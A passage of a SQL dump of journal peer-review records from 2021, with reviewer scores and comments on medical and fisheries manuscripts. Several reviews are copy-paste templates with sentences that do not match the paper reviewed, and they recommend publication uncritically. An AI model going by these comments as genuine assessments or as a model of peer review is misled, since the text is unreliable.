\r\n\r\n','	\r\n\r\nThe study is original	\r\n\r\nThe design of the study is appropriate		\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	','2021-06-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3943,18312,8874,NULL,'6','6','6','6','6','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe sample size, selection and composition are appropriate	\r\n\r\nMethods used to collect data (e.g. validated questionnaires and instruments, observational techniques) are appropriate	\r\n\r\nQualitative or quantitative methods used to analyse the data are appropriate	\r\n\r\nDetails of the methods (including settings and locations, procedures, dates of recruitment and follow-up or main outcomes) are clearly reported	\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe study was approved by a research ethics committee prior to data collection	\r\n\r\nParticipants were asked for informed consent prior to data collection or informed consent was not required\r\nThe qualitative or quantitative analyses were applied appropriately	\r\n\r\nMissing data, e.g. non-respondents, drop-outs or non-responses, have been accounted for	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nNo further qualitative or quantitative analysis is required\r\n\r\nThe authors reflect on the strengths and limitations of the study	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow	\r\n','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate	\r\n\r\nThe sample size, selection and composition are appropriate	\r\n\r\nMethods used to collect data (e.g. validated questionnaires and instruments, observational techniques) are appropriate	\r\n\r\nQualitative or quantitative methods used to analyse the data are appropriate	\r\n\r\nDetails of the methods (including settings and locations, procedures, dates of recruitment and follow-up or main outcomes) are clearly reported	\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe study was approved by a research ethics committee prior to data collection	\r\n\r\nParticipants were asked for informed consent prior to data collection or informed consent was not required\r\nThe qualitative or quantitative analyses were applied appropriately	\r\n\r\nMissing data, e.g. non-respondents, drop-outs or non-responses, have been accounted for	\r\n\r\nThe results are clearly presented and explained	\r\n\r\nNo further qualitative or quantitative analysis is required\r\n\r\nThe authors reflect on the strengths and limitations of the study	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow	\r\n','2021-06-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3944,18277,8873,NULL,'6','6','6','6','6','Current and relevant manuscript\r\n\r\nCohesive results and objectives\r\n\r\nIt deserves to be published immediately','Current and relevant manuscript\r\n\r\nCohesive results and objectives\r\n\r\nIt deserves to be published immediately','2021-06-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3957,5467,8863,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-06-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3959,12022,8885,NULL,'3','R','N','M','N','Deficiencia congénita de factor VII: reporte de caso y revisión de literatura \r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Método:\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\n\r\n\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Method:\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages or, to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','Deficiencia congénita de factor VII: reporte de caso y revisión de literatura \r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Método:\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Method:\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages or, to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','2021-06-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3977,13225,8074,NULL,'4','G','Y','Y','Y','The article entitled \"Expression of augmenter of liver regeneration (ALR) in female and male mouse prosencephalon: a new approach for the comprehension of gender-related brain biology\" is a research article which explain the harvested prosencephala were investigated by Western blotting and immunohistochemistry to assess ALR expression. And found that existence of a sexual dimorphism concerning the ALR expression in prosencephalic neurons. Because of the reduced antioxidative effect of male sex steroid hormones, on male prosencephalic neurons ALR may play the protective role exerted by female steroid hormones on female prosencephalic neurons.  The article can publish with some minor corrections.','The article entitled \"Expression of augmenter of liver regeneration (ALR) in female and male mouse prosencephalon: a new approach for the comprehension of gender-related brain biology\" is a research article which explain the harvested prosencephala were investigated by Western blotting and immunohistochemistry to assess ALR expression. And found that existence of a sexual dimorphism concerning the ALR expression in prosencephalic neurons. Because of the reduced antioxidative effect of male sex steroid hormones, on male prosencephalic neurons ALR may play the protective role exerted by female steroid hormones on female prosencephalic neurons.  The article can publish with some minor corrections.','2021-06-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4012,11689,8902,NULL,'5','g','y','y','y','Good Article, accepted for publication','','2021-06-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4013,15588,8848,NULL,'1','r','n','m','y','The manuscript is a report about a number of cases and did not reach the level of a research.','The manuscript is a report about a number of cases and did not reach the level of a research.','2021-06-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4014,10212,8845,NULL,'5','g','Y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “The Management of Sentinel Lymph Node Biopsy in Breast Cancer”. It is indeed an interesting outlook on a A Review and Current Update on Sentinel Lymph Node Biopsy of Breast Cancer.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have Cabanas approach: Is sentinel lymph node biopsy reliable for staging penile carcinoma.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and rates and Management of the regional lymph nodes in patients with cutaneous malignant melanoma. \r\nI liked the concept of using Effect of axillary dissection VS no axillary dissection on 10-year overall survival among women with invasive breast cancer and sentinel node metastasis the ACOSOG Z0011 (alliance) randomized clinical trial.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n\r\n\r\n','','2021-06-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4016,17412,8584,NULL,'5','g','n','y','y','I\'m glad that i\'m invited as a reviewer for, A Research article on \" Formulation, Development And Evaluation Of Sustained Release Matrix Tablet Of Antihypertensive Drugs  \" .The current study was focus on to the formulation of sustain release tablet of DILTIAZEM. Diltiazem is calcium channel blocker was used for the treatment and management of high blood pressure, chronic stable angina. The evaluation of tablets were done by using various parameters like bulk density, tapped density, Angle of repose, Hauner’s ratio, Carr’s index, thickness, weight variation, friability, Disintegration and dissolution studies. The tablet was formulated by using dry granulation method. The use of the combination of controlled release polymer is extends the release of the drug up to the 24 hours. It is highly explained So i think this review article can be accepted for publication in your esteemed journal.\r\n ','','2021-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4018,11689,8102,NULL,'5','g','y','y','y','EQ-5D is a standardised measure of health-related quality of life developed by the EuroQol Group to provide a simple, generic questionnaire for use in clinical and economic appraisal and population health surveys. EQ-5D can be used for a variety of purposes. the aim of this study is to determine simple method of numerical scoring of value-sets emerging from EuroQol five-dimensional questionnaires. According to this study proposed scoring method is applicable for EQ-5D-5L, EQ-5D-3L and EQ-5D-Y and Future studies suggested on psychometric properties of the proposed scoring system.\r\nOverall well written.','','2021-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4020,11689,9068,NULL,'5','g','y','y','y','Its an interesting short article, I strongly recommended to be published in journal','','2021-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4021,11689,8789,NULL,'5','g','y','y','y','The aim of this review was to determine the pooled prevalence Intestinal parasites among pregnant women in Ethiopia. This study determined the prevalence of intestinal parasitic infections and associations with risk factors among pregnant women. Overall well written','','2021-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4024,11589,8208,NULL,'4','G','Y','Y','Y','The article entitled \"Safety of Endovascular Thrombectomy in Anticoagulated Patients with Acute Ischaemic Stroke: A Systematic Review and Meta-Analysis\" is a review article which explain the Intravenous tissue plasminogen activator (IV-tPA) is first line treatment for acute ischaemic stroke. And found that EVT appears to be a safe treatment option in patients who are therapeutically anticoagulated. With proper figures and tables the author explains it very nicely.\r\n\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','The article entitled \"Safety of Endovascular Thrombectomy in Anticoagulated Patients with Acute Ischaemic Stroke: A Systematic Review and Meta-Analysis\" is a review article which explain the Intravenous tissue plasminogen activator (IV-tPA) is first line treatment for acute ischaemic stroke. And found that EVT appears to be a safe treatment option in patients who are therapeutically anticoagulated. With proper figures and tables the author explains it very nicely.\r\n\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','2021-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4026,12875,9102,NULL,'5','G','Y','M','Y','An innovative approach tried is promising. The authors need to vouch if any team of Ablative surgery by maxillofacial surgeons and flap harvesting by the plastic surgeons could be performed simultaneously? or it needs specific training?','An innovative approach deserves publication','2021-06-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4040,17489,9174,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Editorial on Water Fisheries\", please find my comments.\r\n\r\nI do agree that,The warm waters of Lake Erie with their hefty supplement load are all the more organically useful, however the assortments of fish taken for the most part are less monetarily alluring species, like assortments of wild ox shad and white roost.\r\n\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.   It can be accepted for publication without any changes, this study will definitely support the further studies.','the manuscript is good and accepted for publication','2021-07-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4041,4512,9168,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Commentary on Fisheries\", please find my comments.\r\n\r\nI do agree that,The findings of this paper demonstrate that harvesters often weigh more than economic self-interest when forming opinions about the regulatory systems that govern their economic lives.\r\n\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.   It can be accepted for publication without any changes, this study will definitely support the further studies.','the manuscript is good and accepted for publication','2021-07-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4042,17489,9158,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Editorial Note Lymphocystis Disease\", please find my comments.\r\n\r\nI do agree that,Lymphocystis is viral infection in fish that had a place with iridovirus family these infections are characterized by having twofold abandoned DNA structures which are found in both marine fish and freshwater.\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','the manuscript is good accepted for publication','2021-07-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4070,12022,9235,NULL,'3','D','N','M','N','RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJÖGREN SECUNDARIO. REPORTE DE UN CASO\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\n\r\n\r\nRUPTURE OF MULTIPLE BRAIN ANEURYSMS ASSOCIATED WITH SECONDARY SJÖGREN&#39;S SYNDROME. A CASE REPORT\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. ','RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJÖGREN SECUNDARIO. REPORTE DE UN CASO\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\n\r\n\r\nRUPTURE OF MULTIPLE BRAIN ANEURYSMS ASSOCIATED WITH SECONDARY SJÖGREN&#39;S SYNDROME. A CASE REPORT\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. ','2021-07-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4071,16023,9134,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"COVID-19 Vaccine Uptake among Health Care Workers in Ghana: A Case for Targeted Vaccine Deployment Campaigns in the Global South.\", please find my comments.\r\n\r\nI do agree that,The study was a cross-sectional descriptive survey conducted prior to deployment of COVID-19 vaccine in Ghana. The study sought to ascertain frontline health workers’ likelihood of participating in a COVID-19 vaccine trial and uptake the vaccine when given the opportunity.\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','the manuscript is good and accepted for publication.','2021-07-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4074,11689,8953,NULL,'6','g','y','y','y','The aim of this study is to assess the attitude of mental health nurses toward substance use patients and their treatment at Iradah complex. The study showed that the study participants had accepted attitudes towards patient diagnosed with substance use disorder as it is measured by DDPPQ. Further studies are recommended to determine the effect of a substance use educational program on attitudes. A qualitative study examining the practitioners\' attitudes through face-to-face interviews and journals is also recommended.\r\nOverall well written.','','2021-07-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4075,17212,8534,NULL,'5','g','y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “Loss-Of-Function Mutation in the RB Tumor Suppressor”. It is indeed an interesting outlook on the presentation of the RB D750F/D750F change, which can hinder E2F transactivation action yet incapable to collaborate with LxCxE-theme proteins.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have phosphorylation, dephosphorylation of pRB is essential for cell cycle control, particularly during mitosis.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and multiple mutations and bypass mechanisms can contribute to development of acquired resistance to MET inhibitors.\r\nI liked the concept of using cellular mechanisms of tumour suppression by the retinoblastoma gene.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-07-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4076,17211,8572,NULL,'5','g','y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “Brief Report on Diagnostic Mesenchymal Tumors”. It is indeed an interesting outlook on Gastrointestinal stroma tumours – definition, clinical histological, immunohistochemical and molecular genetic features and differential diagnosis.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have Retroperitoneal sarcoma: 25 years of experience with aggressive surgical treatment at the Institute of Oncology.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and Uterine leiomyoma mimicking a gastrointestinal stromal tumour with chronic spontaneous hemorrhadge: A case report.\r\nI liked the concept of using the Incidence of GIST in Koreans: It’s incidence and the clinical, pathologic and immunohistochemical findings.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-07-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4078,12022,9276,NULL,'3','D','Y','Y','Y','Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies \r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Method:\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\nThe authors should point out the limitations of their method and conclusions.\r\n-Discussion:\r\nThe authors highlight the problems that the COVID pandemic can produce in conducting clinical trials, but the discussion is incomplete and can give a biased view if it is not balanced by mentioning the advantages; For example, there is the opinion, in one of the sessions of ASCO 2021, of the associate professor of medicine and oncology, as well as a consultant in the Division of Hematology, Department of Internal Medicine of the Mayo Clinic, Grzegorz S. Nowakowski: “In your opinion there is a momentum for change and a call for collaboration among stakeholders: researchers, companies, professional organizations, regulators and, above all, patients. ”  \r\n[A Transformed World Addresses Meaningful Changes in Trial Access. https://dailynews.ascopubs.org/do/10.1200/ADN.21.200620/full/]\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies \r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Method:\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\nThe authors should point out the limitations of their method and conclusions.\r\n-Discussion:\r\nThe authors highlight the problems that the COVID pandemic can produce in conducting clinical trials, but the discussion is incomplete and can give a biased view if it is not balanced by mentioning the advantages; For example, there is the opinion, in one of the sessions of ASCO 2021, of the associate professor of medicine and oncology, as well as a consultant in the Division of Hematology, Department of Internal Medicine of the Mayo Clinic, Grzegorz S. Nowakowski: “In your opinion there is a momentum for change and a call for collaboration among stakeholders: researchers, companies, professional organizations, regulators and, above all, patients. ”  \r\n[A Transformed World Addresses Meaningful Changes in Trial Access. https://dailynews.ascopubs.org/do/10.1200/ADN.21.200620/full/]\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','2021-07-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4079,12875,9286,NULL,'4','R','Y','M','Y',' Congratulations to the author for an excellent study and the results described. The submission looks like a copy of the dissertation submitted for partial fulfillment of the degree examination. The authors have provided a long introduction to breast cancer, epidemiology, treatment options, and its management. Instead should give an introduction to just describing reconstructive surgery.  The number compared is in the ratio of  96:14 (7:1) and impact is seen in the number of surgeries done going down from 15 in 2019 to 12 in 2020 and 2 in the first quarter of 2021- a reduction of about 20-25%. The other change observed is the duration of the hospital stay that had come down, rightly the authors have pointed it to the fact of minimizing the exposure to Covid 19 infection. Having said this the authors should explicitly mention if any of the B group patients developed Covid 19 infection in the hospital stay or during the incubation period after discharge explicitly. The fact that there was an option of delayed reconstructive surgeries near 75-80% of women opting for immediate reconstructive surgery is appreciable. The difference brought out in average age does not stand to justify pathophysiology as the number in the A group is almost 7 folds of the B group. 4.The choice of the breast reconstruction types during the pandemic, and before the pandemic had no change as the alloplastic procedure remained the most used. 